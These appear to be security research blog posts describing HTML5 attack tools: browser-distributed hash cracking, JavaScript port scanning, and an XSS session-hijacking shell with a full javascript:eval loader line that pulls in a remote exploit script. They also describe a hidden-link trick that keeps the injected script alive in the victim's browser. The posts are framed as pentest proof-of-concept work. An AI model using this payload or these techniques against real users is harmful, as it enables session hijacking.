Cracking hashes in the JavaScript cloud with Ravan

Password cracking and JavaScript are very rarely mentioned in the same sentence. JavaScript is a bad choice for the job due to two primary reasons - it cannot run continuously for long periods without freezing the browser and it is way slower than native code.

HTML5 takes care of the first problem with WebWorkers, now any website can start a background JavaScript thread that can run continuously without causing stability issues for the browser. That is one hurdle passed.

The second issue of speed is becoming less relevant with each passing day as the speed of JavaScript engines is increasing at a greater rate than the increase of system speed. It might surprise most people how fast JavaScript actually is, 100,000 MD5 hashes/sec on a i5 machine (Opera). Thats the best number I could get from my system, in most cases it would vary between 50,000 - 100,000 MD5 hashes/sec. This is still about 100-115 times slower than native code on the same machine but that's alright. What JavaScript lacks in outright speed can be more than made up for by its ability to distribute.

It is trivial to get someone to execute your JavaScript in their browsers, just get them to visit a link and you have remote code execution of the JavaScript kind, they don't have to download or install any applications on their system or have any special privileges. It is ridiculously easy to distribute computation with JavaScript. And with about 110 browsers pointed to your site you have already achieved the speed of native code on one machine. With 1100 browser that is equivalent to 10 machines cracking passwords in native code.

To demonstrate this I have built Ravan a JavaScript Distributed Computing System that can crack MD5, SHA1, SHA256, SHA512 hashes. Details on how it works and how to use it are available here. It was released at BlackHat Abu Dhabi last month and has already had over 700 hash submissions. Both the cracking of the hashes and management of the distribution process is done in JavaScript.

The commercial cloud might have made cracking hashes super cheap but the JavaScript cloud has made it free.

Port Scanning with HTML5 and JS-Recon

This was one of the newer topics that I covered at BlackHat Abu Dhabi. HTML5 has two APIs for making cross domain calls - Cross Origin Requests and WebSockets. By using them JavaScript can make connections to any IP and to any port(apart from blocked ports), making them ideal candidates for port scanning.

Both the APIs have the 'readyState' property that indicates the status of the connection at a given time. The time duration for which a specific readyState value lasts has been found to vary based on the status of the target port to which the connection is being made. This means that by observing this difference in behavior we can determine if the port being connected to is open, closed or filtered. For Cross Origin Requests it is the duration of readyState 1 and for WebSockets it is readyState 0.

I tried to do some calibration of the time duration for the different port states and the data is below. These numbers only hold good when the target is in the internal network. If you are scanning a target on the internet then the network latency should be taken in to account.

Since this is not a socket-level but an application-level scan the success also depends on the nature of the application running on the target ports. When a request is sent to certain type of applications they read the request and remain silent keeping the socket open, probably expecting more input or input in the format they expect. If the target is running such a application then its status cannot be determined.

Since even closed ports can be identified we can extend this technique to perform network scanning as well as internal IP detection. I have written a tool called JS-Recon which can perform these. More details on the how JS-Recon works is here. These techniques only work when run from Windows machines, on *nix systems it is not possible to determine closed ports and the timing figures are quite different.

HTML5 goodness at BlackHat Abu Dhabi this week

Just three more days to go for my 'Attacking with HTML5' talk at BlackHat Abu Dhabi. In addition to covering some of the interesting HTML5 attacks already released during 2010 by myself and other researchers, it has two new sections - HTML5 based port scanning and HTML5 Botnets. I would be talking about a new way to perform JavaScript based port scans that gives very accurate results. How accurate? you can determine if the remote port is open/closed/filtered - that accurate. I am also going to release a tool called JSRecon that would perform port and network scans by using these techniques. Under HTML5 botnets I am going to talk about how you could send spam mails, perform a DDoS attack on a website and perform distributed cracking of hashes at incredible speeds - all using JavaScript. I am also going to release Ravan - a web based tool to perform distributed cracking of hashes in a legitimate way. I am pretty happy with the way Ravan has shaped up and am very excited to see how folks react to it. Initial reactions have been good. The whole point of the talk is that I am NOT bypassing any of the restrictions placed by the browser sandbox but instead am working well inside those restrictions - its just that the sandbox has got a whole lot looser :)

The tools and details would be online next week when I am back from Abu Dhabi. Stay tuned!

Shell of the Future – Reverse Web Shell Handler for XSS Exploitation

If you claim that "XSS is not a big deal" that means you never owned something by using it and that's your problem not XSS's

-Ferruh Mavituna, Author of XSS Shell, XSS Tunnel and NetSparker

Cross-site Scripting is an interesting vulnerability. It is relatively easier to discover in a Penetration test but demonstrating its impact has always been tricky. So tricky in fact that it has pushed one of the most creative groups of people in IT (Penetration testers) in to using the most boring and misleading POC possible. Yes, you guessed it right, the ubiquitous JavaScript alert() box. To break the monotonousness testers sometimes change the message being displayed but that’s as far as it usually goes. It also has the nasty side effect of developers blocking the word ‘alert’ in their code while ‘eval’ is let through.

In pentests XSS is usually considered as a dead-end vulnerability - you discover it, take a screenshot and move on to something else. It cannot be exploited and used as a stepping stone to another attack because exploiting it would require attacking a user and that is something Penetration testers aren’t allowed to do, the contract 9 out of 10 times only lets us attack the server or the application. That however does not stop the attackers from going so far as to taking over entire servers using a simple XSS in the real world.

The real impact of XSS is that an attacker can do anything that the user can do with his session. Today I am releasing a tool that would let you demonstrate this very impact with the same effort involved as showing the alert box. Ladies and Gentlemen, I give you - Shell of the Future.

Shell of the Future is a Reverse Web Shell handler. It’s the browser equivalent of a reverse command shell, instead of a command prompt from which you type in commands, you get to browse the victim’s HTTP/HTTPS session from your browser. Even though the site is being browsed from the pentester’s browser all the pages are fetched by the victim’s browser. This is done by tunneling HTTP over HTTP using HTML5 Cross Origin Requests. The hijacked session also displays a hovering banner over it which can be heavily customized, making it the perfect POC for your pentest report.

So how does it work? very simple. Shell of the Future has both a proxy server and a web server. The pentester has to set his browser to use Shell of the Future’s proxy server, start the tool and go to http://127.0.0.1/sotf.console from his browser. This shows the web interface from which the victim’s sessions can be hijacked.

Before hijacking a session we need to inject our JavaScript exploit in to the victim’s browser using XSS. Shell of the Future comes with two readymade JavaScript exploits – e1.js and e2.js.

Once injected ( Eg: ) the exploit starts talking to the Shell of the Future server and it becomes available for hijack from the console page. To hijack this session just click on the link that says ‘Hijack Session’ and this session can be browsed from the pentester’s browser.

It is that simple, no installation required, no configuration required, no additional software, it’s all set-up and ready to go at one click.

Even if the site is not vulnerable to XSS the victim’s session can still be hijacked by getting them to paste the following code in the browser’s Address Bar.

Eg:

javascript:eval("s=document.createElement('script');s.src='http://127.0.0.1/e1.js';document.getElementsByTagName('head')[0].appendChild(s)")

Shell of the Future can be downloaded from our tools section and there is also a detailed manual available.

A video demonstration of all the features is available here.

If you are interested in more details then read on.

The tool makes use of HTML5 Cross Origin Requests to tunnel HTTP traffic over HTTP. Once e1.js or e2.js are injected in to the victim’s browser they start polling Shell of the Future(SotF) through Cross Origin Requests(COR). SotF assigns a unique ID for each session and shows this in its console page. When ‘Hijack Session’ is clicked the request from the browser is sent to the SotF proxy which inturn sends it to the SotF server which further passes it on to the victim. The victim fetches the page and sends the response to the SotF server using COR which sends it to the proxy and then to the pentester’s browser.

The two e1.js and e2.js are very similar but e2.js has an extra trick to make the attack more practical. You can only browse the victim’s session for as long as the injected JavaScript is active in the victim’s browser. Sometimes this could be a problem. Let’s say the site with XSS cannot be placed in an iframe then the victim must be directly on the site where the injection is happening. Now the lifetime of the injected scripted is extremely limited because the moment the victim clicks on any links and browses to another page in the site, the script dies. To counteract this, e2.js adds an invisible link to the page and this link is placed exactly under the mouse and follows the mouse moments. When the victim clicks on any part of the page he is actually clicking the invisible link and this link opens the same site in a new tab which also becomes the active tab. Now the victim would happily browse the site in the new tab while the injected script is live in the other tab. The transition to the new tab is pretty smooth so most users would never suspect anything.

If you would want still more details then check the detailed documentation.

I got this idea when reading about HTML5 Cross Origin Requests and thought it was new concept so started this project as a POC. But when I spoke to Manish about it a little latter, he burst my bubble and told me that XSS Tunnel already did something similar. Infact XSS Proxy and XSS Tunnel both did something similar and that too back when there was no COR!! * bows to both Anton Rager and Ferruh Mavituna and thanks Manish for saving me from embarrassment once again *

So I stopped working on it for sometime and then started again with a different approach. Rather than making it a POC for my idea which turned out to be a well known technique, I have made Shell of the Future as a tool specifically to make POCs for XSS and JS Injection vulnerabilities. Both the victim and the attacker can be on the same system just different browsers, Chrome and FireFox are ideal candidates. It works on IE and Safari as well but their aggressive caching can sometime serve stale content. Opera however does not support CORs yet and hence this doesn't work there.

The goal was to make a tool that would accurately demonstrate the severity of XSS with literally the same effort involved as getting the infamous alert box to pop up and I think it has been achieved it.

Also this time around I am providing the source code of the tool as well. It’s not the most elegantly written piece of code but hey, it works!